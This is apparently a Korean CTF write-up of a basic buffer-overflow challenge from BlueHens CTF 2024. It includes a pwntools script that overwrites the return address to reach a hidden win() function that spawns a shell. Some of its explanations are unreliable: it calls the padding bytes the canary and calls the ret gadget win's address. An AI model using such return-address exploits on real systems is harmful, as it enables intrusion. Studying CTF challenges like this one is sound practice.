728x90
반응형
문제 : https://bluehens.ctfd.io/challenges#Training%20Problem:%20Intro%20to%20PWN-161
BlueHens CTF 2024
BlueHens CTF 2024 has ended ×
bluehens.ctfd.io
약간의 리버싱이 섞인 기초 포너블 문제
Mitigation
- ASLR 없음
- NX bit 있음
- 카나리 있음
Code Analysis
vuln함수에 무조건 취약점이 터진다.
이걸로 return address를 조작해서 익스가 가능할 것으로 보인다.
My Exploit Scenario
- 스택에 쉘코드 넣고 return address를 v1 주소로 바꾸어서 익스하기
-> NX bit가 설정되어 있어서 스택에 실행 권한이 없으므로 불가능 - GOT overwrite : libc에서 system, 그리고 문자열 /bin/sh를 찾아서 ROP 하기
-> system함수의 구성을 보면 rdi에 /bin/sh가 들어가야하는데, pop rdi; ret 가젯이 존재하지 않았으므로 불가능 - 포맷 스트링 공격 : ROP 공격과 같은 이유로 불가능
현재 가젯이 충분하지 않았기 때문에 ROP 공격이 불가능했으므로 이 부분에서 아예 막혔다.
Reversing
현재 전체 함수 정보를 보면 실제로 system 함수가 존재한다.
다른 방법으로 생각해볼 필요가 있다.
main의 흐름을 타고 들어가서 볼 수 없는 함수가 하나 존재한다.
Win() 함수
해당 부분에서 system 함수를 사용하는 것
Exploit Scenario Answer
Return address 부분에 그대로 win함수의 시작 주소를 넣어주면 바로 system("/bin/sh")를 실행한다.
Exploit Code
from pwn import *
context.bits=64
e = ELF('./pwnme')
p=process(e.path)
offset=48
addr=e.sym['win']
ret=0x0040101a
payload=b'A'*offset
payload+=b'B'*8
payload+=p64(ret)
payload+=p64(addr)
print(payload)
p.sendline(payload)
p.interactive()
현재 버퍼의 크기 48만큼 모두 채워주고
카나리 8만큼 채워준다
그 이후, win 함수의 return address를 little endian 64로 만들어서 넣어준다.
ret = 0x0040101a는 결국 win의 주소이다. ASLR 이 안걸려 있으므로 그냥 디버거로 구했다.
피드백
- 모든 함수 확인하기
- system 함수가 존재하는 경우, 이를 사용하는 함수가 존재하는지 확인하기
728x90
반응형